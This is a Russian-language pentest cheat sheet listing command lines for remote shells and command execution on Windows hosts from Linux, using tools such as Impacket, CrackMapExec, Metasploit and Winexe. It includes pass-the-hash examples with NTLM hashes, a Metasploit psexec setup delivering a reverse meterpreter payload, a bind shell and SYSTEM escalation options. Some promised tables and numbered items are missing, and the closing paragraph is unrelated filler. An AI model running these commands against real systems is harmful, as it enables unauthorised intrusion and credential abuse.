Эта статья содержит набор методов для подключения к удаленной системе Windows из Linux и примеры того, как выполнять команды на машинах Windows удаленно из Linux с помощью ряда различных инструментов. И мы рассмотрим как осуществлять удаленный доступ к системам Windows из Linux.
Она охватывает более 30 различных методов получения удаленной оболочки, удаленного выполнения команд или подключения к удаленному рабочему столу с использованием различных свободно доступных инструментов и утилит.
Существует множество различных инструментов, которые можно использовать для доступа к удаленному компьютеру с Windows из Linux и выполнения на нем команд. Вот список существующих инструментов, описанных в этой статье, которые можно использовать для этой задачи.
Инструменты для удаленной команды или удаленного доступа к оболочке:
- Impacket
- CrackMapExec
- PTH Toolkit
- Keimpx
- Metasploit
- Redsnarf
- Winexe
- SMBMap
Инструменты для удаленного графического отображения:
- Rdesktop
- FreeRDP (xfreerdp)
- TightVNC (xtightvncviewer)
- TigerVNC (xtigervncviewer)
Все эти инструменты имеют открытый исходный код и свободно доступны в любом дистрибутиве Linux (Kali, Ubuntu, Debian, Arch, CentOS, RedHat, Parrot ..), включая платформы на основе UNIX, такие как BSD, Mac OS X и многие другие.
Большинство этих инструментов работают путем подключения к порту SMB (tcp / 445) на удаленном компьютере с Windows, но некоторые из них также используют другие интерфейсы, такие как WMI, MMC, DCOM, NetBIOS и, конечно, RDP или VNC в случае подключение к удаленному (графическому) рабочему столу.
Более подробная информация об этом включена в обзорную таблицу ниже.
Обзорная таблица
В следующей таблице приводится сводка всех методов удаленного доступа, описанных в этой статье.
Вы можете увидеть, какой тип удаленного выполнения возможен с использованием каждого метода, а также подробную информацию о том, какие сетевые порты используются во время соединения.
Методы удаленного доступа из командной строки
Impacket
Impacket— это библиотека Python для работы с различными сетевыми протоколами Windows. Он используется многими различными инструментами тестирования на проникновение и содержит ряд методов для выполнения команд на удаленных компьютерах с Windows.
Вот как мы можем использовать Impacket для выполнения команд в удаленной системе Windows:
1. Impacket psexec.py
Это создаст интерактивную удаленную оболочку с помощью метода Psexec:
psexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>
psexec.py "./Administrator:pass123"@192.168.0.1
2. Impacket dcomexec.py
Это создаст полуинтерактивную удаленную оболочку с использованием DCOM:
dcomexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>
dcomexec.py "./Administrator:pass123"@192.168.0.1
3. Impacket smbexec.py
Это создаст полуинтерактивную удаленную оболочку через встроенные функции Windows SMB:
smbexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>
smbexec.py "./Administrator:pass123"@192.168.0.1
4. Impacket wmiexec.py
Это создаст полуинтерактивную удаленную оболочку с использованием WMI:
wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET>
wmiexec.py "./Administrator:pass123"@192.168.0.1
5. Impacket atexec.py
Это выполнит команду удаленно через Atsvc:
atexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET> <COMMAND>
atexec.py "./Administrator:pass123"@192.168.0.1 "whoami"
Примечание: Impacket также поддерживает метод аутентификации с использованием хеш-кода, что позволяет использовать NTLM-хэш вместо пароля. Вот пример с psexec.py:
psexec.py -hashes <LM>:<NTLM> <DOMAIN>/<USER>@<TARGET>
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 "./Administrator"@192.168.0.1
Подробную информацию об этих методах с еще большим количеством примеров и снимков экрана можно найти здесь.
CrackMapExec
CrackMapExec— это швейцарский армейский нож пентеста. Он имеет множество полезных функций и интегрируется с рядом других проектов по обеспечению безопасности, таких как Mimikatz, Empire, PowerSploit или Metasploit.
Он также содержит ряд методов для выполнения команд на удаленных машинах Windows.
Вот как использовать CrackMapExec для выполнения команд в удаленных системах:
6. CrackMapExec wmiexec
Это выполнит команду (CMD / PowerShell) удаленно с помощью WMI:
crackmapexec smb -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET> crackmapexec smb -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1
7. CrackMapExec atexec
Это выполнит команду (CMD / PowerShell) удаленно через Atsvc:
crackmapexec smb --exec-method atexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>
crackmapexec smb --exec-method atexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1
8. CrackMapExec smbexec
Это выполнит команду (CMD / PowerShell) удаленно с использованием собственного SMB:
crackmapexec smb --exec-method smbexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>
crackmapexec smb --exec-method smbexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1
9. CrackMapExec mmcexec
Это выполнит команду (CMD / PowerShell) удаленно через MMC:
crackmapexec smb --exec-method mmcexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>
crackmapexec smb --exec-method mmcexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1
10. CrackMapExec winrm
Это выполнит команду (CMD / PowerShell) удаленно с помощью PSRemoting:
crackmapexec winrm -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>
crackmapexec winrm -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1
Примечание: Хотя CrackMapExec позволяет запускать команду только в удаленной системе, мы все равно можем использовать ее для создания интерактивной оболочки с помощью командлета обратной оболочки PowerShell (например, некоторых из них).
CrackMapExec также поддерживает передачу хэша NTLM вместо пароля (pass-the-hash). Вот пример с wmiexec:
crackmapexec smb -d <DOMAIN> -u <USER> -H <LM:NTLM> -x <COMMAND> <TARGET>
crackmapexec smb -d . -u Administrator -H aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -x "cmd /c whoami" 192.168.0.1
Более подробную информацию о CrackMapExec с примерами и скриншотами можно найти здесь.
Набор инструментов PTH
PTH Toolkit — это набор утилит, созданный пионерами техники передачи хеширования. Он содержит ряд полезных инструментов для подключения к удаленным машинам Windows, некоторые из которых также предназначены для выполнения команд в удаленных системах Windows.
Вот как использовать все функции удаленного доступа PTH Toolkit:
11. PTH Toolkit: pth-winexe
Это создаст интерактивную удаленную оболочку с использованием метода, подобного Psexec:
pth-winexe -U <DOMAIN>\\<USER>%<PASSWORD> --uninstall //<TARGET> <COMMAND>
pth-winexe -U ".\Administrator%pass123" --uninstall //192.168.0.1 cmd
Обратите внимание, что с помощью параметра «–system» pth-winexe также может автоматически расширяться до учетной записи «nt Authority \ system».
12. PTH Toolkit: pth-wmis
Это выполнит команду удаленно с помощью WMI:
pth-wmis -U <DOMAIN>\\<USER>%<PASSWORD> //<TARGET> <COMMAND>
pth-wmis -U ".\Administrator%pass123" //192.168.0.1 'cmd.exe /c whoami'
Обратите внимание, что этот конкретный метод не возвращает выходные данные команды. Если нам нужен результат, мы должны получить его с помощью дополнительной утилиты pth-smbget.
Примечание: PTH Toolkit, конечно, также поддерживает предоставление хеш-кода NTLM вместо пароля (pass-the-hash). Вот пример с pth-winexe:
pth-winexe -U <DOMAIN>\\<USER>%<LM|NTLM> --uninstall //<TARGET> <COMMAND>
pth-winexe -U ".\Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" --uninstall //192.168.0.1 cmd
Более подробную информацию о PTH Toolkit с примерами и скриншотами можно найти здесь:
Keimpx
Keimpx— это инструмент лаборатории NCC Group, разработанный для пентестинга сред Windows. Он имеет много интересных функций, таких как работа с общими сетевыми ресурсами или кустами реестра, сброс хэшей и удаленное извлечение файлов NTDS, и, конечно же, ряд методов для удаленного выполнения команд в системах Windows.
Вот как использовать Keimpx для удаленного выполнения команд.
Сначала нам нужно запустить Keimpx с целевым списком, к которому нужно подключиться. Здесь мы подключаемся к одной машине:
keimpx.py -D <DOMAIN> -U <USER> -P <PASSWORD> -t <TARGET>
keimpx.py -D . -U Administrator -P pass123 -t 192.168.0.1
Теперь будет интерактивное меню, в котором мы сможем выбрать, что мы хотим сделать.
Вот список всех поддерживаемых методов, доступных в меню для выполнения команд или создания оболочек:
13. Keimpx: svcexec
Это выполняет команду в удаленной системе с помощью службы Windows. Введите в меню:
svcexec <COMMAND>
svcexec "dir c:\users"
14. Keimpx: svcexec SERVER
Метод svcexec SERVER также выполняет команду, но он разработан для более ограниченных систем, в которых нет доступных для записи сетевых ресурсов:
svcexec <COMMAND> SERVER
svcexec "dir c:\users" SERVER
15. Keimpx: svcshell
Это создаст полуинтерактивную оболочку в удаленной системе с помощью службы Windows:
svcshell
16. Keimpx: svcshell SERVER
Svcshell также поддерживает режим СЕРВЕРА, который может порождать удаленную оболочку в более ограниченных системах без какого-либо доступного для записи сетевого ресурса:
svcshell SERVER
17. Keimpx: atexec
atexec <COMMAND>
atexec "dir c:\users"
psexec <COMMAND>
psexec cmd.exe
psexec powershell.exe
bindshell <PORT>
bindshell 4444
keimpx.py -D <DOMAIN> -U <USER> --lm=<LM> --nt=<NTLM> -t <TARGET>
keimpx.py -D . -U Administrator --lm=aad3b435b51404eeaad3b435b51404ee --nt=5fbc3d5fec8206a30f4b6c473d68ae76 -t 192.168.0.1
Metasploit
Metasploit Framework, вероятно, в представлении не нуждается. Это одна из наиболее всеобъемлющих платформ для тестирования на проникновение с более чем 4280 различными модулями и эксплойтами. Естественно, некоторые из этих модулей предназначены для выполнения команд в удаленных системах Windows.
Модуль wmiexec использует WMI для выполнения команд в удаленной системе. Вот пример:
use auxiliary/scanner/smb/impacket/wmiexec
set RHOSTS <TARGET-IP>
set SMBUser Administrator
set SMBPass pass123
set SMBDomain .
set COMMAND "whoami"
run
21. Metasploit: dcomexec
Модуль dcomexec может выполнять команду в удаленной системе, используя различные объекты DCOM, такие как:
- MMC20
- ShellWindows
- ShellBrowserWindow
Эти объекты можно выбрать, установив опцию OBJECT (установить OBJECT ..) в msfconsole.
Вот пример выполнения команды в удаленной системе с использованием метода dcomexec:
use auxiliary/scanner/smb/impacket/dcomexec
set RHOSTS <TARGET-IP>
set SMBUser Administrator
set SMBPass pass123
set SMBDomain .
set COMMAND "whoami"
run
22. Metasploit: psexec
Модуль Metasploit psexec может выполнять любую полезную нагрузку (например, обратную оболочку), используя следующие 4 метода:
- PowerShell
- Native upload
- MOF upload
- Command
Эти методы можно выбрать с помощью параметра target (установить цель 1-4) в msfconsole.
Вот пример получения обратной оболочки с использованием собственного метода загрузки:
use exploit/windows/smb/psexec
set RHOSTS <TARGET-IP>
set SMBUser Administrator
set SMBPass pass123
set SMBDomain .
set target 2
set payload windows/x64/meterpreter/reverse_winhttps
set LHOST <YOUR-IP>
set LPORT <PORT>
run
Примечание. Metasploit, конечно, поддерживает передачу хэшей NTLM для аутентификации вместо паролей (pass-the-hash). Чтобы использовать, просто установите параметр SMBPass следующим образом:
set SMBPass <LM>:<NTLM>
set SMBPass aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76
Более подробную информацию о возможностях Metasploit RCE с примерами и скриншотами можно найти здесь:
RedSnarf
RedSnarf — еще одна утилита для тестирования на проникновение и красной команды, разработанная лабораториями NCC Group. Он предлагает несколько уникальных функций для тестирования систем Windows на проникновение, включая ряд методов для удаленного выполнения команд.
Вот как им пользоваться.
Сначала мы должны запустить RedSnarf с целью для подключения. Например:
redsnarf -H ip=<TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> -uD y
redsnarf -H ip=192.168.0.1 -d . -u Administrator -p pass123 -uD y
Теперь будет интерактивное меню, в котором мы сможем выбрать, что мы хотим сделать.
Существуют следующие 4 поддерживаемых метода выполнения команды или оболочки в целевой системе Windows:
23. RedSnarf: SYSTEM shell
Нажатие ‘s’ в меню вызовет интерактивную оболочку с привилегиями SYSTEM (nt Authority \ system) в удаленной системе с использованием метода, аналогичного Psexec.
24. RedSnarf: Admin shell
Нажатие ‘n’ в меню вызовет интерактивную оболочку, работающую в контексте предоставленного административного имени пользователя (без перехода на SYSTEM).
25. RedSnarf: WMI shell
Нажатие клавиши «w» в меню вызовет полуинтерактивную оболочку через WMI.
26. RedSnarf: XCOMMAND
Мы также можем просто выполнить предоставленную команду в удаленной системе, запустив RedSnarf следующим образом:
redsnarf -H ip=<TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> -uX <COMMAND>
redsnarf -H ip=192.168.0.1 -d . -u Administrator -p pass123 -uX "whoami"
Примечание. RedSnarf, естественно, также поддерживает передачу хэшей NTLM для аутентификации вместо паролей (pass-the-hash). Вот как подключиться с помощью хеша:
redsnarf -H ip=<TARGET> -d <DOMAIN> -u <USER> -p <LM>:<NTLM> -uD y
redsnarf -H ip=192.168.0.1 -d . -u Administrator -p aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -uD y
Более подробную информацию о RedSnarf с примерами и скриншотами можно найти здесь:
Winexe
Winexe — это небольшая утилита Linux, предназначенная для удаленного выполнения команд в системах Windows по протоколу SMB. Он не выполняет многих других функций, но работает очень хорошо и имеет встроенную функцию Runas, которая иногда может оказаться весьма кстати.
Вот все методы доступа к удаленным системам Windows с помощью Winexe:
27. Winexe
По умолчанию Winexe запускает команду удаленно, которая также может быть интерактивной командой, такой как cmd.exe или powershell.exe для получения оболочки:
winexe --uninstall -U <DOMAIN>/<USER>%<PASSWORD> //<TARGET> <COMMAND>
winexe --uninstall -U ./Administrator%"pass123" //192.168.0.1 cmd
28. Winexe: SYSTEM
Это выполнит предоставленные команды с правами СИСТЕМЫ (NT Authority \ system) в удаленной системе:
winexe --uninstall --system -U <DOMAIN>/<USER>%<PASSWORD> //<TARGET> <COMMAND>
winexe --uninstall --system -U ./Administrator%"pass123" //192.168.0.1 cmd
29. Winexe: RUNAS
winexe --uninstall --runas=<DOMAIN>/<USER>%<PASSWORD> -U <DOMAIN>/<USER>%<PASSWORD> //<TARGET> <COMMAND>
winexe --uninstall --runas=./bob%secret123 -U ./Administrator%"pass123" //192.168.0.1 cmd
winexe --uninstall -U <DOMAIN>/<USER>%<LM><NTLM> //<TARGET> <COMMAND>
winexe --uninstall -U "./Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" //192.168.0.1 cmd
SMBMap
SMBMap в первую очередь является перечислителем общих дисков SMB / CIFS, однако он также может выполнять команды в удаленной системе Windows.
30. SMBMap
Выполните команду в удаленной системе через собственный SMB:
smbmap -d <DOMAIN> -u <USER> -p <PASSWORD> -H <TARGET> -x <COMMAND>
smbmap -d . -u 'Administrator' -p 'pass123' -H 192.168.0.1 -x 'whoami'
Примечание. SMBMap также изначально поддерживает аутентификацию с использованием хэша. Вот как передать хэш в SMBMap:
smbmap -d <DOMAIN> -u <USER> -p <LM:NTLM> -H <TARGET> -x <COMMAND>
smbmap -d . -u 'Administrator' -p 'aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76' -H 192.168.0.1 -x 'whoami'
Мы также можем создать удаленную интерактивную оболочку с помощью SMBMap, аналогично CrackMapExec, выполнив командлет PowerShell (например, некоторые из них).
Более подробную информацию о SMBMap с примерами можно найти здесь:
Графические методы удаленного доступа
Этот раздел содержит методы подключения к удаленным системам Windows из Linux через графические пользовательские интерфейсы, такие как RDP или VNC.
Rdesktop
Rdesktop — популярный клиент RDP с открытым исходным кодом, поддерживающий большинство операционных систем Windows, официально до Windows Server 2012 RDS. Он имеет множество полезных функций, включая поддержку сетевых дисков, мультимедиа и перенаправление USB, двунаправленный буфер обмена и многое другое. В настоящее время этот проект ищет нового сопровождающего.
31. Rdesktop
Вот как открыть сеанс RDP на удаленном компьютере с Windows с помощью rdesktop:
rdesktop -d <DOMAIN> -u <USER> -p <PASSWORD> <TARGET>
rdesktop -d . -u bob -p pass123 192.168.0.1
Вот несколько полезных опций rdesktop:
FreeRDP
FreeRDP — еще один очень популярный клиент RDP для Linux (xfreerdp), который также имеет много интересных функций, таких как поддержка сетевых дисков, мультимедиа и перенаправление USB, двунаправленный буфер обмена, а также многое другое.
32. FreeRDP: xfreerdp
Вот как открыть сеанс RDP на удаленном компьютере с Windows с помощью xfreerdp:
xfreerdp /d:<DOMAIN> /u:<USER> /p:<PASSWORD> /v:<TARGET>
xfreerdp /d:. /u:bob /p:pass123 /v:192.168.0.1
Вот несколько полезных опций xfreerdp:
Примечание. FreeRDP также поддерживает передачу хэшей NTLM вместо паролей (pass-the-hash), вот как это использовать:
xfreerdp /d:<DOMAIN> /u:<USER> /pth:<NTLM> /v:<TARGET>
xfreerdp /d:. /u:bob /pth:D0F2E311D3F450A7FF2571BB59FBEDE5 /v:192.168.0.1
Однако это работает только в Windows 2012 R2 и Windows 8.1 (подробности здесь).
TightVNC
TightVNC— это легкое программное обеспечение VNC с клиентом для Linux (xtightvncviewer), которое обеспечивает быстрый и надежный способ подключения ко всем типам серверов VNC, а не только к тем, которые работают в Windows.
33. TightVNC: xtightvncviewer
Вот как открыть соединение VNC с удаленным компьютером с Windows с помощью xtightvncviewer:
xtightvncviewer <TARGET>
xtightvncviewer 192.168.0.1
Нам будет предложено пройти аутентификацию, если она потребуется.
Вот несколько полезных опций xtightvncviewer:
TigerVNC
TigerVNC— еще одно популярное программное обеспечение VNC с клиентом Linux (xtigervncviewer) со множеством полезных функций. Например, он поддерживает буфер обмена, расширенные методы аутентификации, шифрование TLS и другие вещи.
Вот как им пользоваться.
34. TigerVNC: xtigervncviewer
Вот как открыть соединение VNC с удаленным компьютером с Windows с помощью xtigervncviewer:
xtigervncviewer <TARGET>
xtigervncviewer 192.168.0.1
Нам будет предложено пройти аутентификацию, если она потребуется.
Заключение
Вы также можете подключиться к удаленному компьютеру под управлением Windows безо всяких шагов по персонализации. Однако это означает, что вам придется перенастроить профиль подключения к удаленному рабочему столу при следующем удаленном управлении вашим ПК с Windows. Безлимитный интернет-тариф с высокой скоростью подключения упростил администрирование компьютеров. Сегодня все больше и больше помощи пользователям предоставляется удаленно. Это удобно тем, что вам не придется тратить время на поездки, а связь возможна практически круглосуточно.